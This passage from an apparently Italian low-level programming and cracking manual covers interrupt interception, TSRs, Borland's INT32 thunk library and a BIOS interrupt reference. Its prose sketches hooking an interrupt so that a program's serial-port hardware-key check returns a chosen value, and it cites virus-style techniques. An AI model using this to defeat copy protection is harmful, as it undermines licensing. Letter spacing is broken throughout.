pr i nt f ( " Runni ng Wi ndows %u. %02u ( or hi gher ) %s mode\ n" ,
maj ,
mi n,
( mode == REAL_MODE) ? " Real " :
( mode == STANDARD_MODE) ? " St andar d" :
( mode == ENHANCED_MODE) ? " Enhanced" :
/ * don' t know */ " ???" ) ;

i f ( mode == ENHANCED_MODE)
{
unsi gned shor t vm;
/ * cal l 2F/ 1683 t o see i f DOS app r unni ng i n Syst emVM; i f so,
t hi s must be some hacked ver si on of Wi ndows l i ke MSDPMI ,
or we must be r unni ng i nsi de WI NSTART. BAT */
_asmmov ax, 1683h
_asmi nt 2f h
_asmmov vm, bx
i f ( vm== SYSTEM_VM)
pr i nt f ( " Runni ng DOS app i n Syst emVM: "
" Must be WI NSTART. BAT or hacked Wi ndows! \ n" ) ;
el se
pr i nt f ( " VM #%u\ n" , vm) ;
}

/ * coul d al so cal l 2F/ 160C t o check f or Wi ndows i n ROM */

r et ur n mode; / * can be t est ed wi t h ERRORLEVEL */
}
#endi f

SERVIZI DINTERRUPTS BIOS E DOS


Spesso necessar i o i nt er cet t ar e cer t i i nt er r upt s e qui ndi l a cosa f ondament al e
conoscer e l o scopo di quest i .
Al cuni t i pi di pr ogr ammi basano i l l or o modo di f unzi onar e i n r appor t o al
si st ema di gest i one degl i i nt er r upt s.
Nei capi t ol i pr ecedent i avevo r i f er i t o i l f at t o che nei pr i mi 1024 byt es di
memor i a sono r esi dent i gl i i ndi r i zzi dei 256 possi bi l i i nt er r upt s per cui , a
par t e saper e dove sono r esi dent i , sar ebbe possi bi l e set t ar e del l e nost r e
r out i nes al post o di quest i .
Due f unzi oni par t i col ar i del l i nt 21h r i por t ano e set t ano gl i i ndi r i zzi degl i
i nt er r upt s per cui vol endo sf r ut t ar e una di quest e possi bi l i t pot r emmo usar e
quest e al post o di andar e a scr i ver e e l egger e di r et t ament e dal l a memor i a.
Tut t i i pr ogr ammi r esi dent i ( TSR) si basano su quest a met odol ogi a e t r a quest a
t i pol ogi a di pr ogr ammami t r ovi amo anche i Vi r us che i ndi pendent ement e dal f at t o
che come scopi si ano st upi dat e, dal punt o di vi st a t ecni co spesso sono dei
gi ocat t ol i ben f at t i .
Vedr emo anche quest e met odol ogi e che sper o ver r anno ut i l i zzat e per scopi
i nt el l i gent i .
La met odol ogi a per l a scr i t t ur a di quest i i nt er essant e anche per quant o
r i guar da Sof t I ce.
Sof t I ce possi ede uno dei suoi punt i di f or za nei br eakpoi nt .
Gr azi e al l a met odol ogi a degl i i nt er r upt s possi bi l e espander e l e possi bi l i t
dei br eakpoi nt di SI .
Comunque per quest o vi r i mando al capi t ol o r el at i vo a SI .
Quando si scr i ve una f unzi one od una pr ocedur a nor mal ment e quest a vi ene
t er mi nat a medi ant e un i st r uzi one di RET ( r et ur n) .
Le pr ocedur e d i nt er r upt s t er mi nano con l i st r uzi one I RET ( i nt er r upt r et ur n) .
Mol t i l i nguaggi ad al t o l i vel l o possi edono l e speci f i che adat t e per l a scr i t t ur a
di pr ocedur e adat t e per esser e ut i l i zzat e come r out i nes d i nt er r upt anche se
si cur ament e l a scel t a di un l i nguaggi o di f f er ent e dal l assembl er compl i ca cer t e
cose.
Nel l a scr i t t ur a dei pr ogr ammi r esi dent i ( TSR) sor gono al cune pr obl emat i che
l egat e al l a non r i ent r anza del DOS.
A di r e i l ver o quest o er a un pr obl ema esi st ent e nel 1986, anni i n cui scr i ssi un
vol ume di 400 pagi ne dedi cat o al l a scr i t t ur a dei pr ogr ammi r esi dent i i n
Li nguaggi o C.
I l vol ume si i nt i t ol ava Pr ogr ammazi one a basso l i vel l o i n Li nguaggi o C e se vi
i nt er essa si cur ament e l o t r over et e t r a i t est i PD r esi dent i sul l a r et e Fi doNet .
Essendo quest o vol ume un manual e dest i nat o a t r at t ar e t ut t e l e t ecni che che
spesso sono necessar i e agl i hacker vi r i por t o due f i l e che vi per met t er anno di
scr i ver e r out i nes d i nt er r upt i n C.
I nf at t i , com3e di cevo pr i ma, spesso necessar i o i nt er cet t ar l i per modi f i car ne
i l f unzi onament o.
Supponi amo che un pr ogr amma i nt er r oghi una por t a ser i al e per veder e se
at t accat a a quest a qual che st r ano di sposi t i vo har dwar e.
Per r i sol ver e i l pr obl ema sar ebbe suf f i ci ent e esegui r e una r out i ne del t i po:

SALVA LINDIRIZZO DELLINTERRUPT
SETTA COME INDIRIZZO QUELLO DELLA MIA FUNZIONE
QUANDO VIENE CHIAMATA LA MIA FUNZIONE RITORNA IL VALORE CHE DESIDERO

I l seguent e f i l e per compi l at or e Bor l and

INT32.MAK

##############################################################################
# I NT32. MAK
#
# Copyr i ght ( c) 1994 by Bor l and I nt er nat i onal
# Al l r i ght s r eser ved.
#
# Thi s i s a smal l l i br ar y t o be used t o cr eat e t hunks f or i nt er r upt f unct i ons
# i n 32bi t DOS ext ended appl i cat i ons. The i dea i s t o per mi t peopl e t o
# pr eser ve t hei r i nt er r upt f unct i ons wr i t t en i n C/ C++ t o t he gr eat est ext ent
# possi bl e wi t hout addi ng compi l er suppor t . The ar gument l ayout f or
# i nt er r upt f unct i ons suppor t ed her e mat ches t hat of t he pr evi ous Bor l and
# 16bi t i nt er r upt f unct i ons, except t hat t he ar gument s have been wi dened t o
# 32bi t s.
#
# See t he f i l e t . c f or an exampl e of an i nt er r upt f unct i on f or 32bi t s.
#
# We ar e pr ovi di ng a _makeI nt 32Thunk f unct i on whi ch const r uct s a t hunk f or
# t he C/ C++ i nt er r upt f unct i ons whi ch l oads DS and bui l ds t he ar gument f r ame
# as expect ed. Ther e i s an opt i on i n t he t hunk cr eat i on t o al l ow t he t hunk
# t o chai n t o t he ol d handl er once t he user handl er has compl et ed.
#
# voi d * _makeI nt 32Thunk ( voi d * pr oc,
# voi d * dsLoc,
# unsi gned shor t chai nSel ,
# unsi gned l ong chai nOf f set ) ;
#
# Bui l ds a 32bi t i nt er r upt t hunk f or ' pr oc' . ' pr oc' shoul d be an i nt er r upt
# f unct i on decl ar ed as f ol l ows:
#
# voi d i pr oc ( unsi gned l ong ebp, unsi gned l ong edi , unsi gned l ong esi ,
# unsi gned l ong ds, unsi gned l ong es, unsi gned l ong edx,
# unsi gned l ong ecx, unsi gned l ong ebx, unsi gned l ong ebx,
# unsi gned l ong ei p, unsi gned l ong cs, unsi gned l ong f l ags) ;
#
# ' dsLoc' shoul d be a poi nt er t o wher e t he DS whi ch t he i nt er r upt pr ocedur e
# r equi r es i s st or ed. The val ue st or ed t her e wi l l be l oaded i nt o DS bef or e
# your i nt er r upt pr ocedur e i s cal l ed.
#
# ' chai nSel ' i s t he opt i onal sel ect or of t he i nt er r upt r out i ne t hat you want
# t o chai n t o on r et ur n f r omyour f unct i on.
#
# ' chai nOf f set ' i s t he opt i onal of f set of t he i nt er r upt r out i ne t hat you want
# t o chai n t o on r et ur n f r omyour f unct i on. I f t hi s i s 0, t hen no chai ni ng
# wi l l be per f or med, and t he t hunk wi l l r et ur n wi t h an I RET i nst r uct i on. I f
# ' chai nOf f set ' i s non- zer o, t hen t he t hunk wi l l chai n t o t he i nt er r upt
# r out i ne at chai nSel : chai nOf f set wi t h a 48bi t j ump on r et ur n f r om your
# handl er .
#
# The r et ur n val ue i s ei t her a t hunk addr ess whi ch you can use i n cal l s t o
# set pr ot ect ed mode i nt er r upt vect or s, or NULL ( i n t he case of f ai l ur e) .
#
# Not e t hat t he t hunk r et ur ned i s not al l ocat ed f r oma l ocked page. I f you
# r equi r e t hat t he page be l ocked, you wi l l have t o l ock i t your sel f wi t h
# DPMI cal l 600.
#
# Use ' MAKE - f i nt 32 al l ' t o bui l d t he l i b and t he exampl e
#
##############################################################################

LI B_DEP = PFXi 32t . obj \
PFXi nt 32. obj

#DEBUG = - v

al l : i nt 32. l i b t est i nt . exe

i 32t . obj : i 32t . asm
t asm32 / ml / m2 i 32t

i nt 32. obj : i nt 32. c
bcc32 - WX - c - w $( DEBUG) i nt 32. c

i nt 32. l i b: $( LI B_DEP: PFX=)
t l i b i nt 32. l i b @&&|
$( LI B_DEP: PFX=- +)
|

t est i nt . exe: i nt 32. l i b t est i nt . obj
t l i nk32 / ax $( DEBUG) / L$( MAKEDI R) \ . . \ l i b c0x32 t est i nt , t est i nt , , i nt 32
dpmi 32 cw32 i mpor t 32

t est i nt . obj : t est i nt . c
bcc32 - WX - c - w $( DEBUG) t est i nt . c

INT32.H


#i f ndef __I NT32_H
#def i ne __I NT32_H

voi d * _makeI nt 32Thunk ( voi d *pr oc, voi d *dsLoc, unsi gned shor t chai nSel ,
unsi gned l ong chai nOf f set ) ;

#endi f

INT32.C

/ *- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
/ * */
/ * I NT32. C - Sour ce code f or I NT32. LI B */
/ * */
/ * Copyr i ght ( c) 1994 by Bor l and I nt er nat i onal */
/ * Al l Ri ght s Reser ved */
/ * */
/ * Thi s l i br ar y al l ows i nt er r upt handl er s t o be wr i t t en i n C or */
/ * */
/ * */
/ * */
/ * */
/ *- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */


#i ncl ude <st dl i b. h>
#i ncl ude <mem. h>

#i ncl ude " i nt 32. h"

ext er n char _i nt er r upt 32Thunk [ ] ;
ext er n i nt _i nt er r upt 32ThunkSi ze;
ext er n i nt _I 32TdsLoadLabel ;
ext er n i nt _I 32Tcal l Label ;
ext er n i nt _I 32Tchai nCmp;
ext er n i nt _I 32Tchai nLabel ;
ext er n i nt _I 32Tchai nOf f set ;
ext er n i nt _I 32Tchai nSel ;

st at i c i nt i nt er r upt 32ThunkSi ze = ( i nt ) &_i nt er r upt 32ThunkSi ze;
st at i c i nt I 32TdsLoadLabel = ( i nt ) &_I 32TdsLoadLabel ;
st at i c i nt I 32Tcal l Label = ( i nt ) &_I 32Tcal l Label ;
st at i c i nt I 32Tchai nCmp = ( i nt ) &_I 32Tchai nCmp;
st at i c i nt I 32Tchai nLabel = ( i nt ) &_I 32Tchai nLabel ;
st at i c i nt I 32Tchai nOf f set = ( i nt ) &_I 32Tchai nOf f set ;
st at i c i nt I 32Tchai nSel = ( i nt ) &_I 32Tchai nSel ;

#def i ne adj ust ( wher e, what ) ( *( char **) ( t hunk + ( wher e) ) ) += ( what )
#def i ne st ampDD( wher e, what ) *( voi d**) ( t hunk + ( wher e) ) = ( what )
#def i ne st ampDW( wher e, what ) *( unsi gned shor t *) ( t hunk + ( wher e) ) = ( what )

voi d * _makeI nt 32Thunk ( voi d *pr oc, voi d *dsLoc, unsi gned shor t chai nSel ,
unsi gned l ong chai nOf f set )
{
char *t hunk;

t hunk = ( char *) mal l oc ( i nt er r upt 32ThunkSi ze) ;
i f ( t hunk)
{
memcpy ( t hunk, _i nt er r upt 32Thunk, i nt er r upt 32ThunkSi ze) ;
st ampDD ( I 32TdsLoadLabel , dsLoc) ;
st ampDD ( I 32Tcal l Label , ( char *) ( ( ( char *) pr oc) - ( t hunk +
I 32Tcal l Label + 4) ) ) ;
adj ust ( I 32Tchai nCmp, ( ( unsi gned l ong) t hunk) - ( ( unsi gned
l ong) _i nt er r upt 32Thunk) ) ;
adj ust ( I 32Tchai nLabel , ( ( unsi gned l ong) t hunk) - ( ( unsi gned
l ong) _i nt er r upt 32Thunk) ) ;
st ampDD ( I 32Tchai nOf f set , ( voi d *) chai nOf f set ) ;
st ampDW ( I 32Tchai nSel , chai nSel ) ;
}

r et ur n t hunk;
}

INT32.ASM

. 386p
l ocal s


_DATA segment dwor d publ i c ' DATA' use32
assume cs: _DATA

dummy pr oc near

@@st ar t Thunk l abel byt e

PUBLI C __i nt er r upt 32Thunk

__i nt er r upt 32Thunk l abel byt e

push eax
push ebx
push ecx
push edx
push es
push ds
push esi
push edi
push ebp

mov ds, wor d pt r cs: [ 012345678h]

PUBLI C __I 32TdsLoadLabel
__I 32TdsLoadLabel EQU $ - @@st ar t Thunk - 4

db 0e8h
dd 0

PUBLI C __I 32Tcal l Label

__I 32Tcal l Label EQU $ - @@st ar t Thunk - 4

pop ebp
pop edi
pop esi
pop ds
pop es
pop edx
pop ecx
pop ebx
pop eax

cmp dwor d pt r chai nOf f set , 0
PUBLI C __I 32Tchai nCmp
__I 32Tchai nCmp EQU $ - @@st ar t Thunk - 5
j ne @@chai n
@@i r et :
i r et

@@chai n:
j mp f wor d pt r [ chai nOf f set ]

PUBLI C __I 32Tchai nLabel
__I 32Tchai nLabel EQU $ - @@st ar t Thunk - 4

PUBLI C __I 32Tchai nOf f set
__I 32Tchai nOf f set EQU $ - @@st ar t Thunk

chai nOf f set l abel dwor d
dd 0

PUBLI C __I 32Tchai nSel
__I 32Tchai nSel EQU $ - @@st ar t Thunk
dw 0

PUBLI C __i nt er r upt 32ThunkSi ze

__i nt er r upt 32ThunkSi ze EQU $ - @@st ar t Thunk

dummy endp

_DATA ends

end

Non mi pr ol ungher nel l a t eor i a anche se di f at t o non per nul l a compl i cat a.
Al cuni i nt er r upt s svol gono pi f unzi oni l e qual i vengono sel ezi onat e i nser endo
dent r o ad apposi t i r egi st r i i val or i i donei .
Gener al ment e AX nel passaggi o di val or i l egat i al t i po di f unzi one r i chi est a ha
un r uol o pr i mar i o.
I nol t r e gl i i nt er r upt s si at t engono al l e r egol e gener al i del l e f unzi oni ovver o
spesso possi edono ar goment i i n i ngr esso e mol t e vol t e r est i t ui scono det er mi nat i
val or i .
Nel l a t abel l a seguent e sono r i por t at i i ser vi zi d i nt er r upt s e gl i usi dei
r egi st r i .


I NTERRUPTS ROM BI OS

ROM PRINT SCREEN SERVICE [int 05]
i n: none
out : 0050: 0000 = st at us code
00 = r eady
01 = busy
FF = pr evi ous oper at i on not compl et ed successf ul l y


ROM VIDEO SERVICES [int 10]

WRI TE VI DEO MODE - r om_vi d
i n: ah = wr _vi d_mode [ 00]
al = mode 00 = 40 X 25 t ext 16 gr ey \
01 = 40 X 25 t ext 16/ 8 col or |
02 = 80 X 25 t ext 16 gr ey |
03 = 80 X 25 t ext 16/ 8 col or | CGA
04 = 320 X 200 gr aphi cs 4 col or |
05 = 320 X 200 gr aphi cs 4 gr ey |
06 = 640 X 200 gr aphi cs b/ w /
07 = 80 X 25 t ext b/ w | MDA
08 = 160 X 200 gr aphi cs 16 col or \
09 = 320 X 200 gr aphi cs 16 col or | PC- J R
0A = 640 X 200 gr aphi cs 4 col or /
0D = 320 X 200 gr aphi cs 16 col or \
0E = 640 X 200 gr aphi cs 16 col or | EGA
0F = 640 X 350 gr aphi cs 4 col or /
out : none

WRI TE CURSOR SI ZE - r om_vi d
i n: ah = wr _cur _si ze [ 01]
ch = st ar t l i ne CGA = 0 t o 7, def aul t = 6, 7
cl = end l i ne MDA = 0 t o 13, def aul t = 12, 13
out : none
not es: Set t i ng ch bi t 5 causes cur sor t o di sappear . I f st ar t l i ne
i s l ess t han end l i ne, a nor mal si ngl e par t cur sor i s cr eat ed.
I f st ar t l i ne i s gr eat er t han end l i ne, a t wo par t cur sor i s
cr eat ed.

WRI TE CURSOR POSI TI ON - r om_vi d
i n: ah = wr _cur _pos [ 02]
bh = page ( 0 f or gr aphi cs modes)
dh = r ow
dl = col
out : none
not es: Wr i t i ng cur sor t o an of f scr een posi t i on causes i t t o
di sappear .

READ CURSOR POSI TI ON - r om_vi d
i n: ah = r d_cur _pos [ 03]
out : bh = page ( 0 f or gr aphi cs modes)
ch = st ar t l i ne
cl = end l i ne
dh = r ow
dl = col

READ LI GHT PEN POSI TI ON - r om_vi d
i n: ah = r d_pen_pos [ 04]
out : ah = pen t r i gger swi t ch
1 = t r i gger ed
0 = not t r i gger ed
bx = pi xel col
ch = pi xel r ow
dh = char r ow
dl = char col

WRI TE ACTI VE PAGE - r om_vi d
i n: ah = wr _act _page [ 05]
al = page
out : none

PC- J R WRI TE ACTI VE PAGE - r om_vi d
i n: ah = wr _act _page [ 05]
al = 80
out : bh = CRT r eg
bl = CPU r eg

i n: ah = wr _act _page [ 05]
al = 81
bl = CPU r eg
out : bh = CRT r eg
bl = CPU r eg

i n: ah = wr _act _page [ 05]
al = 82
bh = CRT r eg
out : bh = CRT r eg
bl = CPU r eg

i n: ah = wr _act _page [ 05]
al = 83
bh = CRT r eg
bl = CPU r eg
out : bh = CRT r eg
bl = CPU r eg

SCROLL WI NDOWUP - r om_vi d
i n: ah = scr ol l _up [ 06]
al = l i nes ( 0 = al l )
bh = col or at t r i but e
bi t 7 = bl i nk
bi t 6 = backgnd r ed
bi t 5 = backgnd gr een
bi t 4 = backgnd bl ue
bi t 3 = f or egnd i nt ensi t y
bi t 2 = f or egnd r ed
bi t 1 = f or egnd gr een
bi t 0 = f or egnd bl ue
ch = upper r ow
cl = l ef t col
dh = l ower r ow
dl = r i ght col
out : none

SCROLL WI NDOWDOWN - r om_vi d
i n: ah = scr ol l _down [ 07]
al = l i nes ( 0 = al l )
bh = col or at t r i but e ( see scr ol l _up)
ch = upper r ow
cl = l ef t col
dh = l ower r ow
dl = r i ght col
out : none

READ CHARACTER AND ATTRI BUTE - r om_vi d
i n: ah = r d_char _at t r [ 08]
bh = page
out : al = char
ah = col or at t r i but e ( see scr ol l _up)

WRI TE CHARACTER AND ATTRI BUTE - r om_vi d
i n: ah = wr _char _at t r [ 09]
al = char
bh = page
bl = col or at t r i but e ( see scr ol l _up)
cx = char s
out : none
not es: Cur sor i s not moved.

WRI TE CHARACTER - r om_vi d
i n: ah = wr _char [ 0A]
al = char
bh = page
bl = gr aphi cs mode col or
cx = char s
out : none
not es: Cur sor i s not moved.

WRI TE COLOR PALETTE - r om_vi d
i n: ah = wr _col _pal [ 0B]
bh = pal et t e i d
bl = col or
out : none

WRI TE PI XEL - r om_vi d
i n: ah = wr _pi xel [ 0C]
al = col or
cx = pi xel col
dl = pi xel r ow
out : none

READ PI XEL - r om_vi d
i n: ah = r d_pi xel [ 0D]
cx = pi xel col
dl = pi xel r ow
out : al = col or

WRI TE TTY CHARACTER - r om_vi d
i n: ah = wr _t t y [ 0E]
al = char
bl = gr aphi cs mode col or
out : none

READ VI DEO MODE - r om_vi d
i n: ah = r d_vi d_mode [ 0F]
out : ah = wi dt h i n char s
al = vi deo mode
bh = page ( 0 f or gr aphi cs modes)

PC- J R WRI TE COLOR PALETTE REGI STER - r om_vi d
i n: ah = wr _pal _r eg [ 10]
al = 00
bh = pal et t e val ue
bl = pal et t e r eg
out : none

i n: ah = wr _pal _r eg [ 10]
al = 01
bh = bor der col or
out : none

PC- AT WRI TE STRI NG - r om_vi d
i n: ah = wr _st r i ng [ 13]
al = cur sor movement swi t ch
00 = no
01 = yes
bl = col or at t r i but e ( see scr ol l _up)
bh = page
dx = st ar t cur sor posi t i on
cx = st r i ng l engt h
es: bp = st r i ng poi nt er
out : none


ROM EQUIPMENT SERVICE [int 11]
i n: none
out : ax bi t set t i ngs = equi pment l i st
0 = di sk dr i ve
1 = mat h copr ocessor
2, 3 = syst emboar d RAM i n 16k bl ocks
4, 5 = i ni t i al vi deo mode
00 = unused
01 = 40 X 25 col or
10 = 80 X 25 col or
11 = 80 X 25 b/ w
6, 7 = number of di sk dr i ves
8 = DMA not pr esent
9, 10, 11 = number of RS232 car ds i n syst em
12 = game I / O pr esent
13 = ser i al pr i nt er pr esent
14, 15 = number of pr i nt er s pr esent


r om_mem ROM MEMORY SI ZE SERVI CE [ i nt 12]
i n: none
out : ax = si ze i n K


ROM DISKETTE SERVICES [int 13]

RESET DI SKETTE SYSTEM - r om_di sk
i n: ah = r st _di sk [ 00]
out : none

READ DI SKETTE STATUS - r om_di sk
i n: ah = r d_di sk_st at [ 01]
out : al = r et ur n code
01 = bad command
02 = addr ess mar k not f ound
03 = wr i t e pr ot ect ed
04 = sect or not f ound
06 = no di sk
08 = DMA over r un
09 = DMA acr oss 64K boundar y
10 = bad CRC
20 = cont r ol l er f ai l ed
40 = seek f ai l ed
80 = t i me out

READ DI SKETTE SECTOR - r om_di sk
i n: ah = r d_di sk_sect [ 02]
al = sect or s t o r ead
ch = t r ack
cl = sect or
dh = head
dl = dr i ve
es: bx = buf f er poi nt er
out : cf = er r or
ah = r et ur n code ( see r d_di sk_st at )
al = sect or s r ead

WRI TE DI SKETTE SECTOR - r om_di sk
i n: ah = wr _di sk_sect [ 03]
al = sect or s t o wr i t e
ch = t r ack
cl = sect or
dh = head
dl = dr i ve
es: bx = buf f er poi nt er
out : cf = er r or
ah = r et ur n code ( see r d_di sk_st at )
al = sect or s wr i t t en

VERI FY DI SKETTE SECTOR - r om_di sk
i n: ah = ver _di sk_sect [ 04]
al = sect or s t o ver i f y
ch = t r ack
cl = sect or
dh = head
dl = dr i ve
es: bx = buf f er poi nt er
out : cf = er r or
ah = r et ur n code ( see r d_di sk_st at )
al = sect or s ver i f i ed

FORMAT DI SKETTE TRACK - r om_di sk
i n: ah = f mt _di sk_t r k [ 05]
al = sect or s t o f or mat
ch = t r ack
cl = sect or
dh = head
dl = dr i ve
es: bx = f our byt e addr ess f i el d poi nt er
byt e 1 = t r ack
byt e 2 = head
byt e 3 = sect or
byt e 4 = byt es/ sect or
out : cf = er r or
ah = r et ur n code ( see r d_di sk_st at )
al = sect or s f or mat t ed

PC- AT READ DI SKETTE PARAMETERS - r om_di sk
i n: ah = r d_di sk_par m[ 08]
out : cf = er r or
ah = r et ur n code ( see r d_di sk_st at )
dl = dr i ves
dh = max si des
cl = max sect or s
ch = max t r acks

PC- AT I NI TI ALI ZE DI SKETTE PARAMETERS - r om_di sk
i n: ah = i ni t _di sk_par m[ 09]
out : cf = er r or
ah = r et ur n code ( see r d_di sk_st at )
i nt 41 vect or poi nt s t o dr i ve 0 t abl e
i nt 46 vect or poi nt s t o dr i ve 1 t abl e

PC- AT READ DI SKETTE LONG - r om_di sk [ 0A]
i n: ah = r d_di sk_l ong
ch = cyl i nder
cl = sect or
dh = head
dl = dr i ve
es: bx = buf f er poi nt er
out : cf = er r or
ah = r et ur n code ( see r d_di sk_st at )

PC- AT WRI TE DI SKETTE LONG - r om_di sk
i n: ah = wr _di sk_l ong [ 0B]
ch = sect or
dh = head
dl = dr i ve
es: bx = buf f er poi nt er
out : cf = er r or
ah = r et ur n code ( see r d_di sk_st at )

PC- AT SEEK DI SKETTE TRACK - r om_di sk
i n: ah = di sk_seek [ 0C]
ch = sect or
dh = head
dl = dr i ve
es: bx = buf f er poi nt er
out : cf = er r or
ah = r et ur n code ( see r d_di sk_st at )

PC- AT ALTERNATE DI SKETTE RESET - r om_di sk
i n: ah = al t _r eset _di sk [ 0D]
dl = dr i ve
out : cf = er r or
ah = r et ur n code ( see r d_di sk_st at )

PC- AT TEST FOR DI SKETTE READY - r om_di sk
i n: ah = t est _di sk_r dy [ 10]
dl = dr i ve
out : cf = er r or
ah = r et ur n code ( see r d_di sk_st at )

PC- AT RECALI BRATE DI SKETTE - r om_di sk
i n: ah = r ecal _di sk [ 11]
dl = dr i ve
out : cf = er r or
ah = r et ur n code ( see r d_di sk_st at )

PC- AT DI SKETTE DI AGNOSTI CS - r om_di sk
i n: ah = di sk_di ag [ 14]
out : cf = er r or
ah = r et ur n code ( see r d_di sk_st at )

PC- AT READ DI SKETTE TYPE - r om_di sk
i n: ah = r d_di sk_t ype [ 15]
dl = dr i ve
out : ah = di sk t ype
00 = no di sk
01 = di sk, no change det ect or pr esent
02 = di sk, change det ect or pr esent
03 = f i xed di sk
cx, dx = number of 512 byt e sect or s

PC- AT CHANGE DI SKETTE STATUS - r om_di sk
i n: ah = chg_di sk_st at [ 16]
out : ah = change st at us
00 = no change
01 = change
dl = dr i ve

PC- AT WRI TE DI SKETTE TYPE - r om_di sk
i n: ah = wr _di sk_t ype [ 17]
al = di sk t ype
00 = no di sk
01 = r egul ar di sk i n r egul ar dr i ve
02 = hi gh capaci t y di sk i n hi gh capaci t y dr i ve
out : none


ROM SERIAL PORT SERVICES [int 14]

I NI TI ALI ZE SERI AL PORT - r om_ser i al
i n: ah = i ni t _por t [ 00]
al bi t set t i ngs = por t conf i gur at i on
0, 1 = wor d l engt h
10 = 7 bi t s
11 = 8 bi t s
2 = st op bi t s
0 = 1
1 = 2
3, 4 = par i t y
00 = none
01 = odd
10 = none
11 = even
5, 6, 7 = baud r at e
000 = 110
001 = 150
010 = 300
011 = 600
100 = 1200
101 = 2400
110 = 4800
111 = 9600 ( 4800 on PC- J R)
dx = por t
out : ah bi t s = usar / t st at us
0 = dat a r eady
1 = over r un er r or
2 = par i t y er r or
3 = f r ami ng er r or
4 = br eak det ect
5 = t x r eady
6 = t x empt y
7 = t i meout
al bi t s = modemst at us
0 = del t a CTS
1 = del t a DSR
2 = t r ai l i ng edge r i ng det ect ed
3 = del t a car r i er det ect
4 = CTS
5 = DSR
6 = r i ng det ect
7 = car r i er det ect

TRANSMI T CHARACTER - r om_ser i al
i n: ah = t x_char [ 01]
al = char
dx = por t
out : ah bi t s = usar / t st at us ( see i ni t _por t )
al bi t s = modemst at us ( see i ni t _por t )


RECEI VE CHARACTER - r om_ser i al
i n: ah = r x_char [ 02]
dx = por t
out : al = char
ah bi t s = usar / t st at us ( see i ni t _por t )

READ SERI AL PORT STATUS - r om_ser i al
i n: ah = r d_por t _st at [ 03]
out : ax bi t s = st at us ( see i ni t _por t )



ROM DEVICE SERVICES [int 15]

TURN CASSETTE MOTOR ON - r om_dev
i n: ah = cass_on [ 00]
out : none

TURN CASSETTE MOTOR OFF - r om_dev
i n: ah = cass_of f [ 01]
out : none

READ CASSETTE DATA BLOCK - r om_dev
i n: ah = cass_r d [ 02]
cx = byt e count
es: bx = buf f er poi nt er
out : cf = er r or
dx = byt e count
es: bx = poi nt er past l ast byt e

WRI TE CASSETTE DATA BLOCK - r om_dev
i n: ah = cass_wr [ 03]
cx = byt e count
es: bx = buf f er poi nt er
out : es: bx = poi nt er past l ast byt e

PC- AT OPEN DEVI CE - r om_dev
i n: ah = open_dev [ 80]
bx = i d
cx = pr ocess t ype
out : none

PC- AT CLOSE DEVI CE - r om_dev
i n: ah = cl ose_dev [ 81]
bx = devi ce i d
cx = pr ocess t ype
out : none

PC- AT TERMI NATE DEVI CE - r om_dev
i n: ah = t er m_dev [ 82]
bx = devi ce i d
out : none

PC- AT EVENT WAI T - r om_dev
i n: ah = event _wai t [ 83]
al = subser vi ce
0 = set i nt er val
1 = cancel
es: bx = buf f er poi nt er
cx, dx = mi cr oseconds t o wai t
out : none

PC- AT J OYSTI CK - r om_dev
i n: ah = j oyst i ck [ 84]
dl = 0
out : al = cur r ent swi t ch set t i ngs

PC- AT Sys Req KEY - r om_dev
i n: ah = sys_r eq [ 85]
al = swi t ch
00 = pr ess
01 = br eak
out : none

PC- AT WAI T - r om_dev
i n: ah = wai t [ 86]
cx, dx = mi cr oseconds t o wai t
out : none

PC- AT MOVE BLOCK - r om_dev
i n: ah = move_bl ock [ 87]
cx = wor ds t o move
es: si = t abl e poi nt er
out : none

PC- AT READ EXTENDED MEMORY SI ZE - r om_dev
i n: ah = r d_ext _mem[ 88]
out : none

PC- AT SWI TCH TO VI RTUAL MEMORY - r om_dev
i n: ah = vi r t ual _mem[ 89]
out : none

PC- AT DEVI CE BUSY LOOP - r om_dev
i n: ah = dev_busy [ 90]
al = t ype code
out : none

PC- AT SET FLAG AND COMPLETE SERVI CE - r om_dev
i n: ah = compl et e_i nt [ 91]
al = t ype code
out : none


ROM KEYBOARD SERVICES [int 16]

READ KEYBOARD - r om_key
i n: ah = r d_key [ 00]
out : ah = scan code
al = char code

TEST KEYBOARD - r om_key
i n: ah = t est _key [ 01]
out : zf = key r eady
out : ah = scan code
al = char code

READ SHI FT STATUS - r om_key
i n: ah = r d_shi f t [ 02]
out : al bi t s = shi f t st at us
0 = r i ght shi f t
1 = l ef t shi f t
2 = ct r l
3 = al t
4 = scr ol l l ock
5 = numl ock
6 = caps l ock
7 = i nser t

PC- J R TYPEMATI C DELAY - r om_key
i n: ah = key_del ay [ 03]
al = oper at i on code
00 = r eset del ays
01 = i ncr ease i ni t i al del ay
02 = i ncr ease cont i nue del ay
03 = i ncr ease bot h del ays
04 = t ur n of f t ypemat i c
out : none

PC- J R KEYBOARD CLI CK - r om_key
i n: ah = key_cl i ck [ 04]
al = oper at i on code
00 = cl i ck of f
01 = cl i ck on
out : none


ROM PRINTER SERVICES [int 17]

PRI NT CHARACTER - r om_pr i nt
i n: ah = pr i nt _char [ 00]
al = char
out : ah bi t s = r et ur n code
0 = t i meout
1 = unused
2 = unused
3 = I / O er r or
4 = sel ect ed
5 = no paper
6 = ack
7 = not busy

I NI TI ALI ZE PRI NTER - r om_pr i nt
i n: ah = i ni t _pr i nt [ 01]
out : ah bi t s = r et ur n code ( see pr i nt _char )

READ PRI NTER STATUS - r om_pr i nt
i n: ah = r d_pr i nt _st at [ 02]
out : ah bi t s = r et ur n code ( see pr i nt _char )



ROM START BASIC SERVICE [int 18]


ROM REBOOT SERVICE [int 19]


ROM REAL TIME CLOCK SERVICES [int 1A]

READ CLOCK COUNT - r om_t i me
i n: ah = r d_count [ 00]
out : al = mi dni ght
cx: dx = t i cks

WRI TE CLOCK COUNT - r om_t i me
i n: ah = wr _count [ 01]
cx: dx = t i cks
out : none

PC- AT READ TI ME - r om_t i me
i n: ah = r d_t i me [ 02]
out : ch = hour s
cl = mi nut es
dh = seconds

PC- AT WRI TE TI ME - r om_t i me
i n: ah = wr _t i me [ 03]
ch = hour s
cl = mi nut es
dh = seconds
out : none

PC- AT READ DATE - r om_t i me
i n: ah = r d_dat e [ 04]
out : dl = day
dh = mont h
cl = year
ch = cent ur y ( 19/ 20)

PC- AT WRI TE DATE - r om_t i me
i n: ah = wr _dat e [ 05]
dl = day
dh = mont h
cl = year
